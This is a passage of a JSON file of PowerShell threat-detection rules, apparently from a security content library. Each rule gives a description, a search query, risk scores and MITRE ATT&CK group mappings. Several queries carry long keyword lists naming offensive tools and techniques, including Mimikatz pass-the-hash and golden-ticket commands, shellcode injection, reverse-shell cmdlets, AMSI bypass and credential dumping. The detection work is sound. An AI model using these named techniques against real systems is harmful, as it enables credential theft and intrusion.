\"(?i)Add-Exfiltration|Add-Persistence|Add-RegBackdoor|Add-ScrnSaveBackdoor|Check-VM|Do-Exfiltration|Enabled-DuplicateToken|Exploit-Jboss|Find-Fruit|Find-GPOLocation|Find-TrustedDocuments|Get-ApplicationHost|Get-ChromeDump|Get-ClipboardContents|Get-FoxDump|Get-GPPPassword|Get-IndexedItem|Get-Keystrokes|LSASecret|Get-PassHash|Get-RegAlwaysInstallElevated|Get-RegAutoLogon|Get-RickAstley|Get-Screenshot|Get-SecurityPackages|Get-ServiceFilePermission|Get-ServicePermission|Get-ServiceUnquoted|Get-SiteListPassword|Get-System|Get-TimedScreenshot|Get-UnattendedInstallFile|Get-Unconstrained|Get-VaultCredential|Get-VulnAutoRun|Get-VulnSchTask|Gupt-Backdoor|HTTP-Login|Install-SSP|Install-ServiceBinary|Invoke-ACLScanner|Invoke-ADSBackdoor|Invoke-ARPScan|Invoke-AllChecks|Invoke-BackdoorLNK|Invoke-BypassUAC|Invoke-CredentialInjection|Invoke-DCSync|Invoke-DllInjection|Invoke-DowngradeAccount|Invoke-EgressCheck|Invoke-Inveigh|Invoke-InveighRelay|Invoke-Mimikittenz|Invoke-NetRipper|Invoke-NinjaCopy|Invoke-PSInject|Invoke-Paranoia|Invoke-PortScan|Invoke-PoshRat|Invoke-PostExfil|Invoke-PowerDump|Invoke-PowerShellTCP|Invoke-PsExec|Invoke-PsUaCme|Invoke-ReflectivePEInjection|Invoke-ReverseDNSLookup|Invoke-RunAs|Invoke-SMBScanner|Invoke-SSHCommand|Invoke-Service|Invoke-Shellcode|Invoke-Tater|Invoke-ThunderStruck|Invoke-Token|Invoke-UserHunter|Invoke-VoiceTroll|Invoke-WScriptBypassUAC|Invoke-WinEnum|MailRaider|New-HoneyHash|Out-Minidump|Port-Scan|PowerBreach|PowerUp|PowerView|Remove-Update|Set-MacAttribute|Set-Wallpaper|Show-TargetScreen|Start-CaptureServer|VolumeShadowCopyTools|NEEEEWWW|(Computer|User)Property|CachedRDPConnection|get-net\\S+|invoke-\\S+hunter|Install-Service|get-\\S+(credent|password)|remoteps|Kerberos.*(policy|ticket)|netfirewall|Uninstall-Windows|Verb\\s+Runas|AmsiBypass|nishang|Invoke-Interceptor|EXEonRemote|NetworkRelay|PowerShelludp|PowerShellIcmp|CreateShortcut|copy-vss|invoke-dll|invoke-mass|out-shortcut|Invoke-ShellCommand\"),1,0) | eval base64 = if(match(lower(ScriptBlockText),\"frombase64\"), \"4\", 0) | eval empire=if(match(lower(ScriptBlockText),\"system.net.webclient\") AND match(lower(ScriptBlockText), \"frombase64string\") ,5,0) | eval mimikatz=if(match(lower(ScriptBlockText),\"mimikatz\") OR match(lower(ScriptBlockText), \"-dumpcr\") OR match(lower(ScriptBlockText), \"SEKURLSA::Pth\") OR match(lower(ScriptBlockText), \"kerberos::ptt\") OR match(lower(ScriptBlockText), \"kerberos::golden\") ,5,0) | eval iex=if(match(ScriptBlockText, \"(?i)iex|invoke-expression\"),2,0) | eval webclient=if(match(lower(ScriptBlockText),\"http\") OR match(lower(ScriptBlockText),\"web(client|request)\") OR match(lower(ScriptBlockText),\"socket\") OR match(lower(ScriptBlockText),\"download(file|string)\") OR match(lower(ScriptBlockText),\"bitstransfer\") OR match(lower(ScriptBlockText),\"internetexplorer.application\") OR match(lower(ScriptBlockText),\"xmlhttp\"),5,0) | eval get = if(match(lower(ScriptBlockText),\"get-\"), \"1\", 0) | eval rundll32 = if(match(lower(ScriptBlockText),\"rundll32\"), \"4\", 0) | eval suspkeywrd=if(match(ScriptBlockText, \"(?i)(bitstransfer|mimik|metasp|AssemblyBuilderAccess|Reflection\\.Assembly|shellcode|injection|cnvert|shell\\.application|start-process|Rc4ByteStream|System\\.Security\\.Cryptography|lsass\\.exe|localadmin|LastLoggedOn|hijack|BackupPrivilege|ngrok|comsvcs|backdoor|brute.?force|Port.?Scan|Exfiltration|exploit|DisableRealtimeMonitoring|beacon)\"),1,0) | eval syswow64 = if(match(lower(ScriptBlockText),\"syswow64\"), \"3\", 0) | eval httplocal = if(match(lower(ScriptBlockText),\"http://127.0.0.1\"), \"4\", 0) | eval reflection = if(match(lower(ScriptBlockText),\"reflection\"), \"1\", 0) | eval invokewmi=if(match(lower(ScriptBlockText), \"(?i)(wmiobject|WMIMethod|RemoteWMI|PowerShellWmi|wmicommand)\"),5,0) | eval downgrade=if(match(ScriptBlockText, \"(?i)([-]ve*r*s*i*o*n*\\s+2)\") OR match(lower(ScriptBlockText),\"powershell -version\"),3,0) | eval compressed=if(match(ScriptBlockText, \"(?i)GZipStream|::Decompress|IO.Compression|write-zip|(expand|compress)-Archive\"),5,0) | eval invokecmd = if(match(lower(ScriptBlockText),\"invoke-command\"), \"4\", 0) | addtotals fieldname=Score DoIt, enccom, suspcmdlet, suspkeywrd, compressed, downgrade, mimikatz, iex, empire, rundll32, webclient, syswow64, httplocal, reflection, invokewmi, invokecmd, base64, get | stats values(Score) by UserID, Computer, DoIt, enccom, compressed, downgrade, iex, mimikatz, rundll32, empire, webclient, syswow64, httplocal, reflection, invokewmi, invokecmd, base64, get, suspcmdlet, suspkeywrd | rename Computer as dest, UserID as user | `powershell_4104_hunting_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "DarkGate Malware", - "Data Destruction", - "Flax Typhoon", - "Hermetic Wiper", - "Malicious PowerShell", - "Rhysida Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Powershell was identified on endpoint $host$ by user $user$ executing suspicious commands.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "PowerShell - Connect To Internet With Hidden Window", - "description": "The following analytic detects PowerShell commands using the WindowStyle parameter to hide the window while connecting to the Internet. This behavior is identified through Endpoint Detection and Response (EDR) telemetry, focusing on command-line executions that include variations of the WindowStyle parameter. This activity is significant because it attempts to bypass default PowerShell execution policies and conceal its actions, which is often indicative of malicious intent. If confirmed malicious, this could allow an attacker to execute commands stealthily, potentially leading to unauthorized data exfiltration or further compromise of the endpoint.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_powershell` by Processes.user Processes.process_name Processes.process Processes.parent_process_name Processes.original_file_name Processes.dest Processes.process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where match(process,\"(?i)[\\-|\\/|\u2013 |\u2014|\u2015]w(in*d*o*w*s*t*y*l*e*)*\\s+[^-]\") | `powershell___connect_to_internet_with_hidden_window_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "Data Destruction", - "HAFNIUM Group", - "Hermetic Wiper", - "Log4Shell CVE-2021-44228", - "Malicious PowerShell", - "Possible Backdoor Activity Associated With MUDCARP Espionage Campaigns" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "PowerShell processes $process$ started with parameters to modify the execution policy of the run, run in a hidden window, and connect to the Internet on host $dest$ executed by user $user$.", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Powershell COM Hijacking InprocServer32 Modification", - "description": "The following analytic detects attempts to modify or add a Component Object Model (COM) entry to the InProcServer32 path within the registry using PowerShell. It leverages PowerShell ScriptBlock Logging (EventCode 4104) to identify suspicious script blocks that target the InProcServer32 registry path. This activity is significant because modifying COM objects can be used for persistence or privilege escalation by attackers. If confirmed malicious, this could allow an attacker to execute arbitrary code or maintain persistent access to the compromised system, posing a severe security risk.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*Software\\\\Classes\\\\CLSID\\\\*\\\\InProcServer32*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_com_hijacking_inprocserver32_modification_filter`", - "tags": { - "analytic_story": [ - "Malicious PowerShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A PowerShell script has been identified with InProcServer32 within the script code on $Computer$.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1546.015", - "mitre_attack_technique": "Component Object Model Hijacking", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Powershell Creating Thread Mutex", - "description": "The following analytic detects the execution of PowerShell scripts using the `mutex` function via EventCode 4104. This detection leverages PowerShell Script Block Logging to identify scripts that create thread mutexes, a technique often used in obfuscated scripts to ensure only one instance runs on a compromised machine. This activity is significant as it may indicate the presence of sophisticated malware or persistence mechanisms. If confirmed malicious, the attacker could maintain exclusive control over a process, potentially leading to further exploitation or persistence within the environment.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*Threading.Mutex*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest |rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_creating_thread_mutex_filter`", - "tags": { - "analytic_story": [ - "Malicious PowerShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A suspicious powershell script contains Thread Mutex on host $dest$", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1027", - "mitre_attack_technique": "Obfuscated Files or Information", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT3", - "APT37", - "APT41", - "BackdoorDiplomacy", - "BlackOasis", - "Earth Lusca", - "Ember Bear", - "GALLIUM", - "Gallmaker", - "Gamaredon Group", - "Ke3chang", - "Kimsuky", - "Mustang Panda", - "Rocke", - "Sandworm Team", - "Windshift" - ] - }, - { - "mitre_attack_id": "T1027.005", - "mitre_attack_technique": "Indicator Removal from Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT3", - "Deep Panda", - "GALLIUM", - "OilRig", - "Patchwork", - "Turla" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "PowerShell Domain Enumeration", - "description": "The following analytic detects the execution of PowerShell commands used for domain enumeration, such as `get-netdomaintrust` and `get-adgroupmember`. It leverages PowerShell Script Block Logging (EventCode=4104) to capture and analyze the full command sent to PowerShell. This activity is significant as it often indicates reconnaissance efforts by an attacker to map out the domain structure and identify key users and groups. If confirmed malicious, this behavior could lead to further targeted attacks, privilege escalation, and unauthorized access to sensitive information within the domain.", - "search": "`powershell` EventCode=4104 ScriptBlockText IN (*get-netdomaintrust*, *get-netforesttrust*, *get-addomain*, *get-adgroupmember*, *get-domainuser*) | stats count min(_time) as firstTime max(_time) as lastTime by Computer EventCode ScriptBlockText UserID | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_domain_enumeration_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Data Destruction", - "Hermetic Wiper", - "Malicious PowerShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A suspicious powershell script contains domain enumeration command in $ScriptBlockText$ with EventCode $EventCode$ in host $dest$", - "risk_score": 42, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "PowerShell Enable PowerShell Remoting", - "description": "The following analytic detects the use of the Enable-PSRemoting cmdlet, which allows PowerShell remoting on a local or remote computer. This detection leverages PowerShell Script Block Logging (EventCode 4104) to identify when this cmdlet is executed. Monitoring this activity is crucial as it can indicate an attacker enabling remote command execution capabilities on a compromised system. If confirmed malicious, this activity could allow an attacker to take control of the system remotely, execute commands, and potentially pivot to other systems within the network, leading to further compromise and lateral movement.", - "search": "`powershell` EventCode=4104 ScriptBlockText=\"*Enable-PSRemoting*\" | stats count min(_time) as firstTime max(_time) as lastTime by Computer EventCode ScriptBlockText | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `powershell_enable_powershell_remoting_filter`", - "tags": { - "analytic_story": [ - "Malicious PowerShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "PowerShell was identified running a Invoke-PSremoting on $Computer$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Powershell Execute COM Object", - "description": "The following analytic detects the execution of a COM CLSID through PowerShell. It leverages EventCode 4104 and searches for specific script block text indicating the creation of a COM object. This activity is significant as it is commonly used by adversaries and malware, such as the Conti ransomware, to execute commands, potentially for privilege escalation or bypassing User Account Control (UAC). If confirmed malicious, this technique could allow attackers to gain elevated privileges or persist within the environment, posing a significant security risk.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*CreateInstance([type]::GetTypeFromCLSID*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_execute_com_object_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "Malicious PowerShell", - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A suspicious powershell script contains COM CLSID command on host $dest$", - "risk_score": 5, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1546.015", - "mitre_attack_technique": "Component Object Model Hijacking", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28" - ] - }, - { - "mitre_attack_id": "T1546", - "mitre_attack_technique": "Event Triggered Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Powershell Fileless Process Injection via GetProcAddress", - "description": "The following analytic detects the use of `GetProcAddress` in PowerShell script blocks, leveraging PowerShell Script Block Logging (EventCode=4104). This method captures the full command sent to PowerShell, which is then logged in Windows event logs. The presence of `GetProcAddress` is unusual for typical PowerShell scripts and often indicates malicious activity, as many attack toolkits use it to achieve code execution. If confirmed malicious, this activity could allow an attacker to execute arbitrary code, potentially leading to system compromise. Analysts should review parallel processes and the entire logged script block for further investigation.", - "search": "`powershell` EventCode=4104 ScriptBlockText=*getprocaddress* | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_fileless_process_injection_via_getprocaddress_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "Malicious PowerShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A suspicious powershell script contains GetProcAddress API on host $dest$", - "risk_score": 48, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - 